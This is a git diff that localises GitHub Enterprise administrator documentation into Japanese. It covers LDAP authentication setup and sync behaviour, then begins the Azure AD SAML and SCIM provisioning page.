 {% data reusables.enterprise_user_management.2fa_is_available %}
 
-## Configuring LDAP with {% data variables.product.product_location %}
+## {% data variables.product.product_location %}とのLDAPの設定
 
-After you configure LDAP, users will be able to sign into your instance with their LDAP credentials. When users sign in for the first time, their profile names, email addresses, and SSH keys will be set with the LDAP attributes from your directory.
+LDAPを設定した後、ユーザは自分のLDAPクレデンシャルでインスタンスにサインインできるようになります。 ユーザが初めてサインインするときに、ディレクトリ内のLDAP属性を使ってプロフィール名、メールアドレス、SSHキーが設定されます。
 
-When you configure LDAP access for users via the {% data variables.enterprise.management_console %}, your user licenses aren't used until the first time a user signs in to your instance. However, if you create an account manually using site admin settings, the user license is immediately accounted for.
+{% data variables.enterprise.management_console %}経由でユーザのLDAPアクセスを設定した場合、インスタンスにユーザが初めてサインインするまで、ユーザライセンスは使われません。 ただし、サイト管理設定を使ってマニュアルでアカウントを作成した場合、ユーザライセンスはすぐに使われます。
 
 {% warning %}
 
-**Warning:** Before configuring LDAP on {% data variables.product.product_location %}, make sure that your LDAP service supports paged results.
+**警告：**{% data variables.product.product_location %}でLDAPを設定する前に、利用するLDAPサービスがページ化された結果をサポートしていることを確認してください。
 
 {% endwarning %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.authentication %}
-3. Under "Authentication", select **LDAP**.
-![LDAP select](/assets/images/enterprise/management-console/ldap-select.png)
-4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select LDAP built-in authentication checkbox](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
-5. Add your configuration settings.
+3. "Authentication（認証）"の下で**LDAP**を選択してください。 ![LDAP の選択](/assets/images/enterprise/management-console/ldap-select.png)
+4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![LDAP のビルトイン認証の選択チェックボックス](/assets/images/enterprise/management-console/ldap-built-in-authentication.png)
+5. 設定を追加してください。
 
-## LDAP attributes
-Use these attributes to finish configuring LDAP for {% data variables.product.product_location %}.
+## LDAPの属性
+{% data variables.product.product_location %}のlDAPの設定を完了させるために、以下の属性を使ってください。
 
-| Attribute name           | Type     | Description |
-|--------------------------|----------|-------------|
-| `Host`                   | Required | The LDAP host, e.g. `ldap.example.com` or `10.0.0.30`. If the hostname is only available from your internal network, you may need to configure {% data variables.product.product_location %}'s DNS first so it can resolve the hostname using your internal nameservers. |
-| `Port`                   | Required | The port the host's LDAP services are listening on. Examples include: 389 and 636 (for LDAPS). |
-| `Encryption`             | Required | The encryption method used to secure communications to the LDAP server. Examples include plain (no encryption), SSL/LDAPS (encrypted from the start), and StartTLS (upgrade to encrypted communication once connected). |
-| `Domain search user`     | Optional | The LDAP user that looks up other users that sign in, to allow authentication. This is typically a service account created specifically for third-party integrations. Use a fully qualified name, such as `cn=Administrator,cn=Users,dc=Example,dc=com`. With Active Directory, you can also use the `[DOMAIN]\[USERNAME]` syntax (e.g. `WINDOWS\Administrator`) for the domain search user with Active Directory. |
-| `Domain search password` | Optional | The password for the domain search user. |
-| `Administrators group`   | Optional | Users in this group are promoted to site administrators when signing into your appliance. If you don't configure an LDAP Administrators group, the first LDAP user account that signs into your appliance will be automatically promoted to a site administrator. |
-| `Domain base`            | Required | The fully qualified `Distinguished Name` (DN) of an LDAP subtree you want to search for users and groups. You can add as many as you like; however, each group must be defined in the same domain base as the users that belong to it. If you specify restricted user groups, only users that belong to those groups will be in scope. We recommend that you specify the top level of your LDAP directory tree as your domain base and use restricted user groups to control access. |
-| `Restricted user groups` | Optional | If specified, only users in these groups will be allowed to log in. You only need to specify the common names (CNs) of the groups, and you can add as many groups as you like. If no groups are specified, *all* users within the scope of the specified domain base will be able to sign in to your {% data variables.product.prodname_ghe_server %} instance. |
-| `User ID`                | Required | The LDAP attribute that identifies the LDAP user who attempts authentication. Once a mapping is established, users may change their {% data variables.product.prodname_ghe_server %} usernames. This field should be `sAMAccountName` for most Active Directory installations, but it may be `uid` for other LDAP solutions, such as OpenLDAP. The default value is `uid`. |
-| `Profile name`           | Optional | The name that will appear on the user's {% data variables.product.prodname_ghe_server %} profile page. Unless LDAP Sync is enabled, users may change their profile names. |
-| `Emails`                 | Optional | The email addresses for a user's {% data variables.product.prodname_ghe_server %} account. |
-| `SSH keys`               | Optional | The public SSH keys attached to a user's {% data variables.product.prodname_ghe_server %} account. The keys must be in OpenSSH format. |
-| `GPG keys`               | Optional | The GPG keys attached to a user's {% data variables.product.prodname_ghe_server %} account. |
-| `Disable LDAP authentication for Git operations` | Optional |If selected, [turns off](#disabling-password-authentication-for-git-operations) users' ability to use LDAP passwords to authenticate Git operations. |
-| `Enable LDAP certificate verification` | Optional |If selected, [turns on](#enabling-ldap-certificate-verification) LDAP certificate verification. |
-| `Synchronization` | Optional |If selected, [turns on](#enabling-ldap-sync) LDAP Sync. |
+| 属性名                                              | 種類 | 説明                                                                                                                                                                                                                                                        |
+| ------------------------------------------------ | -- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Host`                                           | 必須 | LDAP のホスト。例: `ldap.example.com` あるいは `10.0.0.30`。 ホスト名が内部ネットワークからしか利用できないなら、まず{% data variables.product.product_location %}のDNSを設定してホスト名を内部のネームサーバを使って解決できるようにする必要があるかもしれません。                                                                             |
+| `ポート`                                            | 必須 | ホストの LDAP サービスが待ち受けるポート。 例：389及び636（LDAPS用）。                                                                                                                                                                                                              |
+| `Encryption`                                     | 必須 | LDAP サーバーとの通信をセキュアにするために使われる暗号化の方法。 例：plain（暗号化なし）、SSL/LDAPS（最初からの暗号化）、StartTLS（接続後に暗号化通信にアップグレード）。                                                                                                                                                       |
+| `Domain search user`                             | 任意 | 認証を許可するために、サインインする他のユーザを検索する LDAP ユーザ。 これは通常、サードパーティとのインテグレーションのために特に作成されるサービスアカウントです。 `cn=Administrator,cn=Users,dc=Example,dc=com`のような完全修飾名を使ってください。 Active Directoryでは、ドメイン検索ユーザとして `[DOMAIN]\[USERNAME]`という構文（例：`WINDOWS\Administrator`）を使うこともできます。 |
+| `Domain search password`                         | 任意 | ドメイン検索ユーザのためのパスワード。                                                                                                                                                                                                                                       |
+| `Administrators group`                           | 任意 | このグループ内のユーザは、アプライアンスへサインインしたときにサイト管理者に昇格します。 LDAPの管理者グループを設定しなければ、アプライアンスに最初にサインインしたLDAPユーザが自動的にサイト管理者に昇格します。                                                                                                                                             |
+| `Domain base`                                    | 必須 | ユーザおよびグループの検索を行う LDAP サブツリーの完全修飾 `Distinguished Name` (DN)。 いくつでも追加できるが、それぞれのグループはユーザが属するのと同じドメインベースで定義されなければなりません。 制限されたユーザグループを指定したなら、それらのグループに属するユーザだけがスコープに入ります。 ドメインベースにはLDAPディレクトリツリーの最上位を指定し、制限されたユーザグループでアクセス制御することをおすすめします。                      |
+| `Restricted user groups`                         | 任意 | 指定された場合、このグループ内のユーザだけがログインできます。 指定が必要なのはグループのcommon name（CN）だけで、グループはいくつでも追加できます。 グループが指定されていなければ、指定されたドメインベースのスコープ内の*すべての*ユーザが {% data variables.product.prodname_ghe_server %} インスタンスにサインインできるようになります。                                                |
+| `User ID`                                        | 必須 | 認証を受けようとした LDAP ユーザを特定する LDAP 属性。 マッピングが確立されたら、ユーザは自分の {% data variables.product.prodname_ghe_server %} ユーザ名を変更できます。 このフィールドはほとんどのActive Directoryの環境では`sAMAccountName`にすべきですが、OpenLDAPなどの他のLDAPソリューションでは`uid`になることがあります。 デフォルト値は`uid`です。               |
+| `Profile name`                                   | 任意 | ユーザの {% data variables.product.prodname_ghe_server %} プロフィールページに表示される名前。 LDAP Syncが有効化されていなければ、ユーザは自分のプロフィール名を変更できます。                                                                                                                                   |
+| `Emails`                                         | 任意 | ユーザの {% data variables.product.prodname_ghe_server %} アカウントのメールアドレス。                                                                                                                                                                                    |
+| `SSH keys`                                       | 任意 | ユーザの {% data variables.product.prodname_ghe_server %} アカウントにアタッチされた公開 SSH キー。 キーはOpenSSH形式でなければなりません。                                                                                                                                                   |
+| `GPG keys`                                       | 任意 | ユーザの {% data variables.product.prodname_ghe_server %} アカウントにアタッチされたGPGキー。                                                                                                                                                                               |
+| `Disable LDAP authentication for Git operations` | 任意 | 選択した場合、ユーザが LDAP パスワードで Git の操作の認証を受けるのが[オフ](#disabling-password-authentication-for-git-operations)になります。                                                                                                                                                 |
+| `Enable LDAP certificate verification`           | 任意 | 選択した場合、LDAP 証明書の検証が[オン](#enabling-ldap-certificate-verification)になります。                                                                                                                                                                                    |
+| `Synchronization`                                | 任意 | 選択した場合、LDAP Sync が[オン](#enabling-ldap-sync)になります。                                                                                                                                                                                                         |
 
-### Disabling password authentication for Git operations
+### Gitの操作のパスワード認証の無効化
 
-Select **Disable username and password authentication for Git operations** in your LDAP settings to enforce use of personal access tokens or SSH keys for Git access, which can help prevent your server from being overloaded by LDAP authentication requests. We recommend this setting because a slow-responding LDAP server, especially combined with a large number of requests due to polling, is a frequent source of performance issues and outages.
+LDAP 設定中の [**Disable username and password authentication for Git operations（Git の操作でのユーザ名およびパスワード認証の無効化）**] を選択し、Git アクセスでの個人アクセストークンあるいは SSH キーの使用を強制してください。そうすれば、サーバーが LDAP 認証のリクエストで過負荷になるのを防ぐのに役に立ちます。 特にポーリングによる大量のリクエストと組み合わさると、レスポンスの遅いLDAPサーバーは頻繁にパフォーマンス問題や障害の原因となるので、この設定をおすすめします。
 
-![Disable LDAP password auth for Git check box](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
+![GItチェックボックスのためのLDAPパスワード認証の無効化](/assets/images/enterprise/management-console/ldap-disable-password-auth-for-git.png)
 
-When this option is selected, if a user tries to use a password for Git operations via the command line, they will receive an error message that says, `Password authentication is not allowed for Git operations. You must use a personal access token.`
+このオプションが選択されると、ユーザがコマンドライン経由のGitの操作でパスワードを使おうとすると、次のようなエラーメッセージが返されます。`Password authentication is not allowed for Git operations. You must use a personal access token.`
 
-### Enabling LDAP certificate verification
+### LDAPの証明書検証の有効化
 
-Select **Enable LDAP certificate verification** in your LDAP settings to validate the LDAP server certificate you use with TLS.
+TLSと共に使うLDAPサーバの証明書を検証するには、LDAPの設定で**Enable LDAP certificate verification（LDAPの証明書検証の有効化）**を選択してください。
 
-![LDAP certificate verification box](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
+![LDAP証明書の検証ボックス](/assets/images/enterprise/management-console/ldap-enable-certificate-verification.png)
 
-When this option is selected, the certificate is validated to make sure:
-- If the certificate contains at least one Subject Alternative Name (SAN), one of the SANs matches the LDAP hostname. Otherwise, the Common Name (CN) matches the LDAP hostname.
-- The certificate is not expired.
-- The certificate is signed by a trusted certificate authority (CA).
+このオプションが選択されると、以下のことを確実にするために証明書が検証されます:
+- 証明書にAlternative Name (SAN) が少なくとも1つ含まれている場合には、SANの1つがLDAPホスト名に一致し、 そうでない場合はコモンネーム (CN) がLDAPホスト名に一致すること。
+- 証明書の期限が切れていないこと。
+- 証明書が信頼されている認証局 (CA) によって署名されていること。
 
-### Enabling LDAP Sync
+### LDAP Syncの有効化
 
 {% note %}
 
-**Note:** Teams using LDAP Sync are limited to a maximum 1499 members.
+**注釈:** LDAP Sync を使用する Team は、最大 1499 人のメンバーに制限されています。
 
 {% endnote %}
 
-LDAP Sync lets you synchronize {% data variables.product.prodname_ghe_server %} users and team membership against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.prodname_ghe_server %}. For more information, see "[Creating teams](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)."
+LDAP Sync を使うと、{% data variables.product.prodname_ghe_server %} のユーザおよび Team のメンバーシップを、確立された LDAP グループに対して同期できます。 そうすることで、{% data variables.product.prodname_ghe_server %} 内で手作業で行う代わりに、LDAP サーバからユーザのロールベースのアクセス制御を確立できます。 詳細は「[チームを作成する](/enterprise/{{ currentVersion }}/admin/guides/user-management/creating-teams#creating-teams-with-ldap-sync-enabled)」を参照してください。
 
-To enable LDAP Sync, in your LDAP settings, select **Synchronize Emails**, **Synchronize SSH Keys**, or **Synchronize GPG Keys** .
+LDAP Sync を有効化するには、[**Synchronize Emails**]、[**Synchronize SSH Keys**]、または [**Synchronize GPG Keys**] を選択します。
 
-![Synchronization check box](/assets/images/enterprise/management-console/ldap-synchronize.png)
+![同期チェックボックス](/assets/images/enterprise/management-console/ldap-synchronize.png)
 
-After you enable LDAP sync, a synchronization job will run at the specified time interval to perform the following operations on each user account:
+LDAP Sync を有効化すると、同期のジョブが指定された間隔で動作し、各ユーザアカウントに対して以下の操作を行います:
 
-- If you've allowed built-in authentication for users outside your identity provider, and the user is using built-in authentication, move on to the next user.
-- If no LDAP mapping exists for the user, try to map the user to an LDAP entry in the directory. If the user cannot be mapped to an LDAP entry, suspend the user and move on to the next user.
-- If there is an LDAP mapping and the corresponding LDAP entry in the directory is missing, suspend the user and move on to the next user.
-- If the corresponding LDAP entry has been marked as disabled and the user is not already suspended, suspend the user and move on to the next user.
-- If the corresponding LDAP entry is not marked as disabled, and the user is suspended, and _Reactivate suspended users_ is enabled in the Admin Center, unsuspend the user.
-- If the corresponding LDAP entry includes a `name` attribute, update the user's profile name.
-- If the corresponding LDAP entry is in the Administrators group, promote the user to site administrator.
-- If the corresponding LDAP entry is not in the Administrators group, demote the user to a normal account.
-- If an LDAP User field is defined for emails, synchronize the user's email settings with the LDAP entry. Set the first LDAP `mail` entry as the primary email.
-- If an LDAP User field is defined for SSH public keys, synchronize the user's public SSH keys with the LDAP entry.  
-- If an LDAP User field is defined for GPG keys, synchronize the user's GPG keys with the LDAP entry.  
+- アイデンティティプロバイダ外のユーザに対してビルトイン認証を許可し、ユーザがビルトイン認証を使っているなら、次のユーザに進みます。
+- ユーザに LDAP のマッピングが存在しないなら、ユーザをディレクトリ中の LDAP エントリにマップしようとします。 ユーザが LDAP のエントリにマップできなかった場合、ユーザをサスペンドして次のユーザに進みます。
+- LDAP マッピングが存在し、ディレクトリ中の対応する LDAP のエントリが欠けている場合、そのユーザをサスペンドして次のユーザに進みます。
+- 対応する LDAP のエントリが無効としてマークされており、ユーザがまだサスペンドされていないなら、そのユーザをサスペンドして次のユーザに進みます。
+- 対応する LDAP のエントリが無効としてマークされておらず、そのユーザがサスペンドされており、Admin center で [_Reactivate suspended users（サスペンドされたユーザを再アクティベート_] が有効化されているなら、ユーザのサスペンドを解除します。
+- 対応する LDAP エントリが `name` 属性を含んでいるなら、ユーザのプロフィール名を更新します。
+- 対応する LDAP エントリが Administrators グループ内にあるなら、そのユーザをサイト管理者に昇格させます。
+- 対応する LDAP エントリが Administrators グループ内にないなら、そのユーザを通常のアカウントに降格させます。
+- LDAP の User フィールドがメール用に定義されているなら、ユーザのメール設定を LDAP のエントリと同期します。 最初の LDAP の `mail` エントリをプライマリのメールとして設定します。
+- LDAP の User フィールドが公開 SSH キー用に定義されているなら、ユーザの公開 SSH キーを LDAP のエントリと同期します。
+- LDAP の User フィールドが GPG キー用に定義されているなら、ユーザの GPG キーを LDAP のエントリと同期します。
 
 {% note %}
 
-**Note**: LDAP entries can only be marked as disabled if you use Active Directory and the `userAccountControl` attribute is present and flagged with `ACCOUNTDISABLE`. Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute.
+**メモ**: LDAP のエントリが無効としてマークされるのは、Active Directory を使用しており、`userAccountControl` が存在して `ACCOUNTDISABLE` とされている場合のみです。 Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute.
 
 {% endnote %}
 
-A synchronization job will also run at the specified time interval to perform the following operations on each team that has been mapped to an LDAP group:
+同期ジョブは、LDAP グループにマップされなかった各 Team に対して以下の操作を行うためにも、指定された間隔で動作します。
 
-- If a team's corresponding LDAP group has been removed, remove all members from the team.
-- If LDAP member entries have been removed from the LDAP group, remove the corresponding users from the team. If the user is no longer a member of any team in the organization, remove the user from the organization. If the user loses access to any repositories as a result, delete any private forks the user has of those repositories.
-- If LDAP member entries have been added to the LDAP group, add the corresponding users to the team. If the user regains access to any repositories as a result, restore any private forks of the repositories that were deleted because the user lost access in the past 90 days.
+- Team に対応する LDAP グループが削除された場合、すべてのメンバーを Team から削除します。
+- LDAP グループから LDAP のメンバーエントリが削除された場合、対応するユーザを Team から削除します。 If the user is no longer a member of any team in the organization, remove the user from the organization. その結果、ユーザがリポジトリへのアクセスを失った場合、それらのリポジトリでユーザが持っていたプライベートなフォークを削除します。
+- LDAP グループに LDAP のメンバーエントリが追加された場合、対応するユーザを Team に追加します。 その結果、ユーザがリポジトリへのアクセスを再度得ることになった場合、過去 90 日以内にユーザがアクセスを失ったために削除されたリポジトリのプライベートフォークがリストアされます。
 
 {% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
 
 {% warning %}
 
-**Security Warning:**
+**セキュリティの警告:**
 
-When LDAP Sync is enabled, site admins and organization owners can search the LDAP directory for groups to map the team to.
+LDAP Sync が有効化されると、サイト管理者と Organization のオーナーは Team をマップするグループを LDAP のディレクトリで検索できます。
 
-This has the potential to disclose sensitive organizational information to contractors or other unprivileged users, including:
+これは、以下を含む組織に関する機密情報を契約者やその他の権限を持たないユーザに開示してしまう可能性があります。
 
-- The existence of specific LDAP Groups visible to the *Domain search user*.
-- Members of the LDAP group who have {% data variables.product.prodname_ghe_server %} user accounts, which is disclosed when creating a team synced with that LDAP group.
+- *ドメイン検索ユーザ*に特定の LDAP グループの存在が見えてしまう。
+- {% data variables.product.prodname_ghe_server %} のユーザアカウントを持つ LDAP グループのメンバーが、その LDAP グループと同期する Team を作ったときに開示されてしまう。
 
-If disclosing such information is not desired, your company or organization should restrict the permissions of the configured *Domain search user* in the admin console. If such restriction isn't possible, contact {% data variables.contact.contact_ent_support %}.
+こういった情報が開示されることを望まないなら、企業あるいは組織は管理コンソールで設定された*ドメイン検索ユーザ*の権限を制限しなければなりません。 そういった制限ができない場合は、{% data variables.contact.contact_ent_support %} に連絡してください。
 
 {% endwarning %}
 
-### Supported LDAP group object classes
+### サポートされるLDAPグループのオブジェクトクラス
 
-{% data variables.product.prodname_ghe_server %} supports these LDAP group object classes. Groups can be nested.
+{% data variables.product.prodname_ghe_server %} は、以下の LDAP グループオブジェクトクラスをサポートします。 グループは入れ子にできます。
 
 - `group`
 - `groupOfNames`
 - `groupOfUniqueNames`
 - `posixGroup`
 
-## Viewing and creating LDAP users
+## LDAPユーザの表示と作成
 
-You can view the full list of LDAP users who have access to your instance and provision new users.
+インスタンスにアクセスできる LDAP ユーザの完全なリストを表示し、新しいユーザをプロビジョニングできます。
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. In the left sidebar, click **LDAP users**.
-![LDAP users tab](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
-4. To search for a user, type a full or partial username and click **Search**. Existing users will be displayed in search results. If a user doesn’t exist, click **Create** to provision the new user account.
-![LDAP search](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
+3. 左のサイドバーで**LDAP users（LDAPユーザ）**をクリックしてください。 ![LDAP ユーザタブ](/assets/images/enterprise/site-admin-settings/ldap-users-tab.png)
+4. ユーザを検索するには、完全なユーザ名もしくはユーザ名の一部を入力し、**Search（検索）**をクリックしてください。 検索結果に該当するユーザが表示されます。 該当するユーザがいなければ、**Create（作成）**をクリックして新しいユーザアカウントをプロビジョニングできます。 ![LDAP検索](/assets/images/enterprise/site-admin-settings/ldap-users-search.png)
 
-## Updating LDAP accounts
+## LDAPアカウントの更新
 
-Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are not automatically synchronized with {% data variables.product.prodname_ghe_server %}.
+[LDAP Sync が有効化](#enabling-ldap-sync)されていない限り、LDAP アカウントへの変更は自動的には {% data variables.product.prodname_ghe_server %} に同期されません。
 
-* To use a new LDAP admin group, users must be manually promoted and demoted on {% data variables.product.prodname_ghe_server %} to reflect changes in LDAP.
-* To add or remove LDAP accounts in LDAP admin groups, [promote or demote the accounts on {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator).
-* To remove LDAP accounts, [suspend the {% data variables.product.prodname_ghe_server %} accounts](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users).
+* 新しい LDAP 管理者グループを使うには、LDAP 内での変更を反映させるためにユーザを {% data variables.product.prodname_ghe_server %} 上で手動で昇格および降格させなければなりません。
+* LDAP 管理者グループに LDAP アカウントを追加あるいは削除するには、[{% data variables.product.prodname_ghe_server %} 上でそのアカウントを昇格もしくは降格](/enterprise/{{ currentVersion }}/admin/guides/user-management/promoting-or-demoting-a-site-administrator)させてください。
+* LDAP アカウントを削除するには、[{% data variables.product.prodname_ghe_server %} アカウントをサスペンド](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)してください。
 
-### Manually syncing LDAP accounts
+### 手動でのLDAPアカウントの同期
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -195,13 +193,12 @@ Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are
 {% data reusables.enterprise_site_admin_settings.click-user %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "LDAP," click **Sync now** to manually update the account with data from your LDAP server.
-![LDAP sync now button](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
+5. "LDAP"の下で**Sync now（即時同期）**をクリックして、LDAPサーバからのデータでアカウントを手動更新してください。 ![LDAPの即時同期ボタン](/assets/images/enterprise/site-admin-settings/ldap-sync-now-button.png)
 
-You can also [use the API to trigger a manual sync](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap).
+[API を使用して手動同期をトリガー](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#ldap)することもできます。
 
-## Revoking access to {% data variables.product.product_location %}
+## {% data variables.product.product_location %}へのアクセスの削除
 
-If [LDAP Sync is enabled](#enabling-ldap-sync), removing a user's LDAP credentials will suspend their account after the next synchronization run.
+[LDAP Sync が有効化](#enabling-ldap-sync)されているなら、ユーザの LDAP のクレデンシャルを削除すれば、次の同期が行われた後にそのユーザのアカウントはサスペンドされます。
 
-If LDAP Sync is **not** enabled, you must manually suspend the {% data variables.product.prodname_ghe_server %} account after you remove the LDAP credentials. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)".
+LDAP Sync が有効化**されていない**なら、LDAP のクレデンシャルの削除後に {% data variables.product.prodname_ghe_server %} アカウントを手動でサスペンドしなければなりません。 詳細は「[ユーザのサスペンドとサスペンドの解除](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)」を参照してください。
diff --git a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
index 21fc4b65db..04d53165aa 100644
--- a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
+++ b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring authentication and provisioning for your enterprise using Azure AD
-shortTitle: Configuring with Azure AD
-intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.product.product_location %}.'
+title: Azure AD を使用して Enterprise の認証とプロビジョニングを設定する
+shortTitle: Azure AD を使用しての設定
+intro: 'Azure Active Directory (Azure AD) のテナントをアイデンティティプロバイダ (IdP) として使用して、{% data variables.product.product_location %} の認証とユーザプロビジョニングを一元管理できます。'
 permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,41 +15,42 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
 ---
-## About authentication and user provisioning with Azure AD
 
-Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs.
+## Azure AD を使用した認証とユーザプロビジョニングについて
 
-To manage identity and access for {% data variables.product.product_name %}, you can use an Azure AD tenant as a SAML IdP for authentication. You can also configure Azure AD to automatically provision accounts and access membership with SCIM, which allows you to create {% data variables.product.prodname_ghe_managed %} users and manage team and organization membership from your Azure AD tenant.
+Azure Active Directory (Azure AD) は、ユーザアカウントと Web アプリケーションへのアクセスを一元管理できる Microsoft のサービスです。 詳しい情報については、Microsoft Docs の「[Azure Active Directory とは](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis)」を参照してください。
 
-After you enable SAML SSO and SCIM for {% data variables.product.prodname_ghe_managed %} using Azure AD, you can accomplish the following from your Azure AD tenant.
+{% data variables.product.product_name %} のアイデンティティとアクセスを管理するために、Azure AD テナントを認証用の SAML IdP として使用できます。 アカウントを自動的にプロビジョニングし、SCIM でメンバーシップにアクセスするように Azure AD を設定することもできます。これにより、{% data variables.product.prodname_ghe_managed %} ユーザを作成し、Azure AD テナントから Team と Organization のメンバーシップを管理できます。
 
-* Assign the {% data variables.product.prodname_ghe_managed %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}.
-* Assign the {% data variables.product.prodname_ghe_managed %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.prodname_ghe_managed %} for connection to a team and its parent organization.
-* Unassign the {% data variables.product.prodname_ghe_managed %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}.
+Azure AD を使用して {% data variables.product.prodname_ghe_managed %} に対して SAML SSO と SCIM を有効にした後、Azure AD テナントから以下を実行できます。
 
-For more information about managing identity and access for your enterprise on {% data variables.product.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." For more information about synchronizing teams with IdP groups, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)."
+* Azure AD の {% data variables.product.prodname_ghe_managed %} アプリケーションをユーザアカウントに割り当てて、{% data variables.product.product_name %} の対応するユーザアカウントを自動的に作成し、アクセスを許可します。
+* {% data variables.product.prodname_ghe_managed %} アプリケーションの Azure AD のユーザアカウントへの割り当てを解除して、{% data variables.product.product_name %} の対応するユーザアカウントを非アクティブ化します。
+* {% data variables.product.prodname_ghe_managed %} アプリケーションを Azure AD の IdP グループに割り当てて、IdP グループのすべてのメンバーの {% data variables.product.product_name %} 上のユーザアカウントを自動的に作成し、アクセスを許可します。 さらに、IdP グループは {% data variables.product.prodname_ghe_managed %} で利用でき、Team とその親 Organization に接続できます。
+* IdP グループから {% data variables.product.prodname_ghe_managed %} アプリケーションの割り当てを解除して、その IdP グループを介してのみアクセスできるすべての IdP ユーザの {% data variables.product.product_name %} ユーザアカウントを非アクティブ化し、親 Organization からユーザを削除します。 IdP グループは {% data variables.product.product_name %} のどの Team からも切断されます
 
-## Prerequisites
+{% data variables.product.product_location %} での Enterprise のアイデンティティとアクセスの管理の詳細については、「[Enterprise のアイデンティティとアクセスを管理する](/admin/authentication/managing-identity-and-access-for-your-enterprise)」を参照してください。 Team を IdP グループと同期する方法について詳しくは、「[アイデンティティプロバイダグループとTeamの同期](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)」を参照してください。
 
-To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs.
+## 必要な環境
 
-{% data reusables.saml.assert-the-administrator-attribute %} For more information about including the `administrator` attribute in the SAML claim from Azure AD, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs.
+Azure AD を使用して {% data variables.product.product_name %} の認証とユーザプロビジョニングを設定するには、Azure AD アカウントとテナントが必要です。 詳しい情報については、「[Azure AD Web サイト](https://azure.microsoft.com/free/active-directory)」および Microsoft Docs の「[クイックスタート: Azure Active Directory テナントを作成する](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant)」を参照してください。
+
+{% data reusables.saml.assert-the-administrator-attribute %} Azure AD からの SAML 要求に `administrator` 属性を含める方法について詳しくは、Microsoft Docs の「[方法: Enterprise アプリケーション向けに SAML トークンで発行された要求をカスタマイズする](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization)」を参照してください。
 
 {% data reusables.saml.create-a-machine-user %}
 
-## Configuring authentication and user provisioning with Azure AD
+## Azure AD を使用して認証とユーザプロビジョニングを設定する
 
 {% ifversion ghae %}
 
